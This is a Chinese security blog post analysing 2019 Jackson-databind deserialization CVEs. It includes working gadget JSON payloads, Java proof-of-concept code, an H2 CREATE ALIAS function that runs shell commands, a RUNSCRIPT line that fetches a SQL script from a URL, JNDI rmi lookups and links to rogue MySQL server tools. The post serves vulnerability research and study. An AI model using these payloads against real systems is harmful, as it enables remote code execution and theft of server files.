Java 反序列化漏洞始末(4)— jackson

哔哔两句

前面分析了两个关于 fastjson 的漏洞,这篇文章再提一嘴 Jackson。

实际上这两个 JSON 处理类库的多数漏洞是可以通用的,原理也就是通过反射实例化对象,在调用构造函数或调用 get/set 方法时触发敏感操作

https://github.com/FasterXML/jackson-databind/blob/master/src/main/java/com/fasterxml/jackson/databind/jsontype/impl/SubTypeValidator.java

从这个黑名单里可以看到 RCE 阵营以带有 JDBC、Datasource 之类字眼的 JNDI 注入居多,太多了不一一复现,挑几个最新的总结一遍

CVE-2019-12086

先来看jackson 2019 的第一个洞,这是一个任意文件读取的漏洞

A Polymorphic Typing issue was discovered in FasterXML jackson-databind 2.x before 2.9.9. When Default Typing is enabled (either globally or for a specific property) for an externally exposed JSON endpoint, the service has the mysql-connector-java jar (8.0.14 or earlier) in the classpath, and an attacker can host a crafted MySQL server reachable by the victim, an attacker can send a crafted JSON message that allows them to read arbitrary local files on the server. This occurs because of missing com.mysql.cj.jdbc.admin.MiniAdmin validation.

从漏洞描述中就能基本看懂是怎么回事了

  • 漏洞范围在 2.x - 2.9.9
  • 被攻击的程序 classpath 中要有 8.0.14 以下的版本的 Mysql 驱动
  • 可被攻击的类 com.mysql.cj.jdbc.admin.MiniAdmin

MySQL 有一个逻辑漏洞,可以读取本地文件。具体细节可以参考以下两篇文章

https://www.cnblogs.com/xinzhao/p/11005419.html
https://dev.mysql.com/doc/refman/5.7/en/load-data-local.html

这里引用参考文章的一段话,能更清晰的理解这个问题。

MySQL支持使用LOAD DATA LOCAL INFILE这样的语法,将客户端本地的文件中的数据insert到MySQL的某张表中。挺好的功能,就是协议设计的有点怪,大概是这个样子的:
1.用户在客户端输入:load data local infile "/data.csv" into table test;
2.客户端=>服务端:我想把我本地的/data.csv文件插入到test表中;
3.服务端=>客户端:把你本地的/data.csv发给我;
4.客户端=>服务端:/data.csv文件的内容;
这个协议的问题是,客户端发送哪个文件的内容,取决于第3步,服务端要哪个文件,如果服务端是个恶意的MySQL,那么他可以读取客户端的任意文件,比如读取/etc/passwd:
1.用户在客户端输入:load data local infile "/data.csv" into table test;
2.客户端=>服务端:我想把我本地的/data.csv文件插入到test表中;
3.服务端=>客户端:把你本地的/etc/passwd发给我;
4.客户端=>服务端:/etc/passwd文件的内容;

而且,在大部分客户端(比如MySQL Connector/J )的实现里,第1、2步不是必须的,客户端发送任意查询给服务端,服务端都可以返回文件发送的请求。而大部分客户端在连接建立之后,都会有一些查询服务端配置之类的查询,所以使用这些客户端,只要创建了到恶意MySQL的连接,那么客户端所在服务器上的所有文件都可能泄露。

想复现 Mysql 这个漏洞,可以在本地搭建一个恶意的 MySQL 服务器,然后使用 navicat for mysql 连接一下

利用工具

https://github.com/Gifts/Rogue-MySql-Server
https://github.com/BeichenDream/MysqlT/

搭建好恶意 MySQL 服务器后用 Jackson 解析构造好的 json

pom.xml

        <!-- https://mvnrepository.com/artifact/mysql/mysql-connector-java -->
        <dependency>
            <groupId>mysql</groupId>
            <artifactId>mysql-connector-java</artifactId>
            <version>8.0.13</version>
        </dependency>
        <!-- https://mvnrepository.com/artifact/com.fasterxml.jackson.core/jackson-databind -->
        <dependency>
            <groupId>com.fasterxml.jackson.core</groupId>
            <artifactId>jackson-databind</artifactId>
            <version>2.9.8</version>
        </dependency>

JAVA Code

    public static void main(String[] args) throws SQLException, IOException {

        ObjectMapper mapper = new ObjectMapper();
        mapper.enableDefaultTyping();
        String json = "[\"com.mysql.cj.jdbc.admin.MiniAdmin\", \"jdbc:mysql://127.0.0.1:3306/\"]";
        mapper.readValue(json, Object.class);
    }

开启 enableDefaultTyping ,使用构造方法反序列化的方式反序列化 MiniAdmin

public class MiniAdmin {
    private JdbcConnection conn;

    public MiniAdmin(Connection conn) throws SQLException {
        if (conn == null) {
            throw SQLError.createSQLException(Messages.getString("MiniAdmin.0"), "S1000", (ExceptionInterceptor)null);
        } else if (!(conn instanceof JdbcConnection)) {
            throw SQLError.createSQLException(Messages.getString("MiniAdmin.1"), "S1000", ((ConnectionImpl)conn).getExceptionInterceptor());
        } else {
            this.conn = (JdbcConnection)conn;
        }
    }

    public MiniAdmin(String jdbcUrl) throws SQLException {
        this(jdbcUrl, new Properties());
    }

    public MiniAdmin(String jdbcUrl, Properties props) throws SQLException {
        this.conn = (JdbcConnection)((JdbcConnection)(new Driver()).connect(jdbcUrl, props));
    }

    public void shutdown() throws SQLException {
        this.conn.shutdownServer();
    }
}

构造方法执行的时候就会自动根据 jdbc url 去连接数据库,当连接到我们的恶意 MySQL 服务器时就会被读取到我们想读取的文件从而变成任意文件读取漏洞

CVE-2019-12384

这是一个前两天被曝出来的 jackson 远程代码执行漏洞,范围扩大到了 2.9.9,但个人觉得比较鸡肋。

因为这个需要 h2 数据库的依赖,用 h2 嵌入式数据库的情况很少见

引用该 CVE 编号的描述

FasterXML jackson-databind 2.x before 2.9.9.1 might allow attackers to have a variety of impacts by leveraging failure to block the logback-core class from polymorphic deserialization. Depending on the classpath content, remote code execution may be possible.

关于漏洞的细节可以参考
https://blog.doyensec.com/2019/07/22/jackson-gadgets.html

复现

先引入依赖

    <dependencies>
        <!-- https://mvnrepository.com/artifact/ch.qos.logback/logback-core -->
        <dependency>
            <groupId>ch.qos.logback</groupId>
            <artifactId>logback-core</artifactId>
            <version>1.3.0-alpha4</version>
        </dependency>
        <!-- https://mvnrepository.com/artifact/com.h2database/h2 -->
        <dependency>
            <groupId>com.h2database</groupId>
            <artifactId>h2</artifactId>
            <version>1.4.199</version>
        </dependency>
        <!-- https://mvnrepository.com/artifact/com.fasterxml.jackson.core/jackson-databind -->
        <dependency>
            <groupId>com.fasterxml.jackson.core</groupId>
            <artifactId>jackson-databind</artifactId>
            <version>2.9.9</version>
        </dependency>
        <dependency>
            <groupId>com.fasterxml.jackson.core</groupId>
            <artifactId>jackson-annotations</artifactId>
            <version>2.9.9</version>
        </dependency>
        <!-- https://mvnrepository.com/artifact/com.fasterxml.jackson.core/jackson-core -->
        <dependency>
            <groupId>com.fasterxml.jackson.core</groupId>
            <artifactId>jackson-core</artifactId>
            <version>2.9.9</version>
        </dependency>
    </dependencies>

H2Rce.java

package jackson;

import com.fasterxml.jackson.databind.ObjectMapper;

import java.io.IOException;

/**
 * @author 浅蓝
 * @email blue@ixsec.org
 * @since 2019/7/30 16:33
 */
public class H2Rce {

    public static void main(String[] args) throws IOException {

        ObjectMapper objectMapper = new ObjectMapper();
        objectMapper.enableDefaultTyping();//开启 defaultTyping
        String json = "[\"ch.qos.logback.core.db.DriverManagerConnectionSource\", " +
                "{\"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost:8000/inject.sql'\"}]";
        Object o = objectMapper.readValue(json, Object.class);//反序列化对象
        String s = objectMapper.writeValueAsString(o);//
    }

}

解析一下 json,本地监听的8000端口就收到了请求。

1564476305(1).jpg

public class DriverManagerConnectionSource extends ConnectionSourceBase {
    private String driverClass = null;
    private String url = null;

    public DriverManagerConnectionSource() {
    }

    public void start() {
        try {
            if (this.driverClass != null) {
                Class.forName(this.driverClass);
                this.discoverConnectionProperties();
            } else {
                this.addError("WARNING: No JDBC driver specified for logback DriverManagerConnectionSource.");
            }
        } catch (ClassNotFoundException var2) {
            this.addError("Could not load JDBC driver class: " + this.driverClass, var2);
        }

    }

    public Connection getConnection() throws SQLException {
        return this.getUser() == null ? DriverManager.getConnection(this.url) : DriverManager.getConnection(this.url, this.getUser(), this.getPassword());
    }

    public String getUrl() {
        return this.url;
    }

    public void setUrl(String url) {
        this.url = url;
    }

    public String getDriverClass() {
        return this.driverClass;
    }

    public void setDriverClass(String driverClass) {
        this.driverClass = driverClass;
    }
}

被反序列化的是 DriverManagerConnectionSource 类,从 JSON 来看是调用了它的 setUrl 方法。

触发漏洞实际上是在 getConnection() 方法,所以要触发这个漏洞,需要再调用它下面的 get 方法。

        String s = objectMapper.writeValueAsString(o);//

这也就是为什么最后还要再执行一个序列化的过程(序列化时会调用 get 方法)

这段JSON 实际上是在 H2 内存数据库初始化的时候 执行RUNSCRIPT 指令,从指定的网址执行 SQL 脚本。

另外,H2 数据库是可以创建自定义函数的

参考:https://www.veryarm.com/71086.html

自定义函数可以指定一个 Java 类或者 Java 代码。

比如

CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
    String[] command = {"bash", "-c", cmd};
    java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
    return s.hasNext() ? s.next() : "";  }
$$;

我这里按照我自己的情况给出 payload

CREATE ALIAS SHELLEXEC AS $$ void shellexec(String cmd) throws java.io.IOException {
String[] command = {"cmd", "/c", cmd};
Runtime.getRuntime().exec(command)
}
$$;
CALL SHELLEXEC('calc')

然后放在web服务器上,再使用,RUNSCRIPT 指令去执行,这里就不再演示了。

其实这个漏洞也不一定要通过远程文件去执行SQL,直接带入到 jdbc url也可以。

先来看下 payload 中的 JDBC URL
jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost:8000/inject.sql'

RUNSCRIPT FROM 'http://localhost:8000/inject.sql'就是一条SQL命令
也可以写成 select 、create、drop 之类的。

所以完全可以替换成 inject.sql 文件中的内容

1564478420(1).jpg

["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:file:~/.h2/test;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS SHELLEXEC AS $$ void shellexec(String cmd) throws java.io.IOException { Runtime.getRuntime().exec(cmd)\\; }$$;"}]

使用文件存储模式,先创建一个自定义函数,注意代码中的分号需要用 \ 转义一下

1564478475(1).jpg

["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:file:~/.h2/test;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CALL SHELLEXEC('calc');"}]

同样使用文件存储模式,执行 CALL 命令调用函数

这样就省去了再去调用远程文件的问题

CVE-2019-12814

截止发文前该漏洞还没有公布出细节的文章

这个也是前两天曝出来的一个 jackson 的文件读取漏洞,实际上是一个 XXE。

A Polymorphic Typing issue was discovered in FasterXML jackson-databind 2.x through 2.9.9. When Default Typing is enabled (either globally or for a specific property) for an externally exposed JSON endpoint and the service has JDOM 1.x or 2.x jar in the classpath, an attacker can send a specifically crafted JSON message that allows them to read arbitrary local files on the server.

该漏洞的描述中说道 需要 JDOM 1.X 或 JDOM 2.X的依赖支持
范围在 2.9.9以内,且需要开启 enableDefaultTyping

        s.add("org.jdom.transform.XSLTransformer");
        s.add("org.jdom2.transform.XSLTransformer");

再看下官方补丁

黑名单里又加了两个 JDOM 的类,基本上就知道怎么用了

1564480418.png

通过代码执行一下

        XSLTransformer xslTransformer = new XSLTransformer("http://127.0.0.1:8000/hello");

可以看到本地监听的端口收到了来自Java应用的请求。

往里面跟几个函数就能知道

这个类也是通过加载 XML 文件(可以通过远程的方式)进行解析,从而产生 XXE 盲注漏洞

XXE 又可以读取文件,所以就造成了 jackson 任意文件读取漏洞

CVE-2019-14379

截止发文前该漏洞还没有公布出细节的文章

同样也是这两天发出来的一个 CVE 编号,版本范围扩大到了 2.9.9.1及以下

SubTypeValidator.java in FasterXML jackson-databind before 2.9.9.2 mishandles default typing when ehcache is used, leading to remote code execution.

文中提到是由 ehcache 引起的问题。

        <!-- https://mvnrepository.com/artifact/net.sf.ehcache/ehcache -->
        <dependency>
            <groupId>net.sf.ehcache</groupId>
            <artifactId>ehcache</artifactId>
            <version>2.10.6</version>
        </dependency>

ehcache 中有这样一个类 DefaultTransactionManagerLookup

在它的 getTransactionManager 方法中会触发 JNDI 注入

1564482568(1).png

这里我给出 gadget

/**
 * @author 浅蓝
 * @email blue@ixsec.org
 * @since 2019/7/30 18:22
 */
public class ehcache {

    public static void main(String[] args) {

        DefaultTransactionManagerLookup defaultTransactionManagerLookup = new DefaultTransactionManagerLookup();

        Properties properties = new Properties();
        properties.setProperty("jndiName","rmi://127.0.0.1:1099/evil");

        defaultTransactionManagerLookup.setProperties(properties);

        defaultTransactionManagerLookup.getTransactionManager();
    }

}

首先看 setProperties 方法

    public void setProperties(Properties properties) {
        if (properties != null) {
            String jndiName = properties.getProperty("jndiName");
            if (jndiName != null) {
                this.defaultJndiSelector.setJndiName(jndiName);
            }
        }

    }

判断了如果有 jndiName 这个参数就调用 defaultJndiSelector 属性对象的 setJndiName 方法赋值

再看 getTransactionManager 方法

public TransactionManager getTransactionManager() {
        if (this.selector == null) {
            this.lock.lock();

            try {
                if (this.selector == null) {
                    this.lookupTransactionManager();
                }
            } finally {
                this.lock.unlock();
            }
        }

        return this.selector.getTransactionManager();
    }

当 selector 不为空时调用 lookupTransactionManager 方法

private void lookupTransactionManager() {
        Selector[] var1 = this.transactionManagerSelectors;
        int var2 = var1.length;

        for(int var3 = 0; var3 < var2; ++var3) {
            Selector s = var1[var3];
            TransactionManager transactionManager = s.getTransactionManager();
            if (transactionManager != null) {
                this.selector = s;
                LOG.debug("Found TransactionManager for {}", s.getVendor());
                return;
            }
        }

        this.selector = new NullSelector();
        LOG.debug("Found no TransactionManager");
    }

这里又去遍历调用了 transactionManagerSelectors 属性所有元素的 getTransactionManager 方法

public abstract class Selector {
    private final String vendor;
    private volatile TransactionManager transactionManager;

    protected Selector(String vendor) {
        this.vendor = vendor;
    }

    public String getVendor() {
        return this.vendor;
    }

    public TransactionManager getTransactionManager() {
        if (this.transactionManager == null) {
            this.transactionManager = this.doLookup();
        }

        return this.transactionManager;
    }

    public void registerResource(EhcacheXAResource ehcacheXAResource, boolean forRecovery) {
    }

    public void unregisterResource(EhcacheXAResource ehcacheXAResource, boolean forRecovery) {
    }

    protected abstract TransactionManager doLookup();
}

getTransactionManager 方法在 Selector 抽象类里又调用了 doLookup 方法

transactionManagerSelectors 属性就是在初始化对象时被赋值的,这个数组的第一个就是 defaultJndiSelector 对象
也就是刚才被赋值了 jndiName 的那个对象。

    private final JndiSelector defaultJndiSelector = new GenericJndiSelector();
    private final Selector[] transactionManagerSelectors;

    public DefaultTransactionManagerLookup() {
        this.transactionManagerSelectors = new Selector[]{this.defaultJndiSelector, new GlassfishSelector(), new WeblogicSelector(), new BitronixSelector(), new AtomikosSelector()};
    }

defaultJndiSelector 在对象被初始化时就实例化了一个 GenericJndiSelector 对象

public class GenericJndiSelector extends JndiSelector {
    public GenericJndiSelector() {
        super("genericJNDI", "java:/TransactionManager");
    }
}

它的父类是 JndiSelector

1564484720(1).jpg

当数组的第一个对象被调用 getTransactionManager 方法时也就调用了它 的 doLookUp 方法

doLookUp 把 properties 里的 jndiName 当做 url,从而触发 JNDI 注入。

调用过程

DefaultTransactionManagerLookup.setProperties()
    DefaultTransactionManagerLookup.defaultJndiSelector.setJndiName()
DefaultTransactionManagerLookup.getTransactionManager()
    DefaultTransactionManagerLookup.lookupTransactionManager()
        Selector.getTransactionManager()
            Selector.doLookup()
                JndiSelector.doLookup()
                    InitialContext.lookup()

最后使用 jackson 复现一遍这个过程

/**
 * @author 浅蓝
 * @email blue@ixsec.org
 * @since 2019/7/30 18:22
 */
public class ehcache {

    public static void main(String[] args) throws IOException {

        String json = "[\"net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup\"," +
                "{\"properties\":{\"jndiName\":\"rmi://127.0.0.1:1099/evil\"}}]";
        ObjectMapper mapper = new ObjectMapper();
        mapper.enableDefaultTyping();
        Object o = mapper.readValue(json, Object.class);
        mapper.writeValueAsString(o);

    }

}

因为还要调用 get 方法,所以需要再序列化一遍

1564485145(1).jpg

CVE-2019-?????

截止发文前该漏洞还没有公布出细节的文章

这是一个由 logback 引起的 jndi 注入,可影响到 2.9.9.1。

问题出在这个类里

ch.qos.logback.core.db.JNDIConnectionSource

public class JNDIConnectionSource extends ConnectionSourceBase {
    private String jndiLocation = null;
    private DataSource dataSource = null;

    public JNDIConnectionSource() {
    }

    public void start() {
        if (this.jndiLocation == null) {
            this.addError("No JNDI location specified for JNDIConnectionSource.");
        }

        this.discoverConnectionProperties();
    }

    public Connection getConnection() throws SQLException {
        Connection conn = null;

        try {
            if (this.dataSource == null) {
                this.dataSource = this.lookupDataSource();
            }

            if (this.getUser() != null) {
                this.addWarn("Ignoring property [user] with value [" + this.getUser() + "] for obtaining a connection from a DataSource.");
            }

            conn = this.dataSource.getConnection();
            return conn;
        } catch (NamingException var3) {
            this.addError("Error while getting data source", var3);
            throw new SQLException("NamingException while looking up DataSource: " + var3.getMessage());
        } catch (ClassCastException var4) {
            this.addError("ClassCastException while looking up DataSource.", var4);
            throw new SQLException("ClassCastException while looking up DataSource: " + var4.getMessage());
        }
    }

    public String getJndiLocation() {
        return this.jndiLocation;
    }

    public void setJndiLocation(String jndiLocation) {
        this.jndiLocation = jndiLocation;
    }

    private DataSource lookupDataSource() throws NamingException, SQLException {
        this.addInfo("Looking up [" + this.jndiLocation + "] in JNDI");
        Context initialContext = new InitialContext();
        Object obj = initialContext.lookup(this.jndiLocation);
        DataSource ds = (DataSource)obj;
        if (ds == null) {
            throw new SQLException("Failed to obtain data source from JNDI location " + this.jndiLocation);
        } else {
            return ds;
        }
    }
}

通过调用 setJndiLocation 方法设置 jndi URL。

再调用 getConnection 方法连接触发JNDI注入

使用 Jackson 复现一下这个过程

先添加 logback 和 jackson 依赖

        <!-- https://mvnrepository.com/artifact/com.fasterxml.jackson.core/jackson-databind -->
        <dependency>
            <groupId>com.fasterxml.jackson.core</groupId>
            <artifactId>jackson-databind</artifactId>
            <version>2.9.9.1</version>
        </dependency>
        <!-- https://mvnrepository.com/artifact/ch.qos.logback/logback-core -->
        <dependency>
            <groupId>ch.qos.logback</groupId>
            <artifactId>logback-core</artifactId>
            <version>1.3.0-alpha4</version>
        </dependency>
/**
 * @author 浅蓝
 * @email blue@ixsec.org
 * @since 2019/7/30 19:27
 */
public class Logback {

    public static void main(String[] args) throws IOException {

        String json = "[\"ch.qos.logback.core.db.JNDIConnectionSource\"," +
                "{\"jndiLocation\":\"rmi://127.0.0.1:1099/evil\"}}]";
        ObjectMapper mapper = new ObjectMapper();
        mapper.enableDefaultTyping();
        Object o = mapper.readValue(json, Object.class);
        mapper.writeValueAsString(o);
    }

}

1564486126(1).jpg

同样需要再序列化一遍,调用所有个 get 方法,才可以触发 getConnection 方法执行 JNDI 连接请求。

再BB两句

另外 jackson 的这几个 gadgets 也可以用在 fastjson 上。

发表留言

人生在世,错别字在所难免,无需纠正。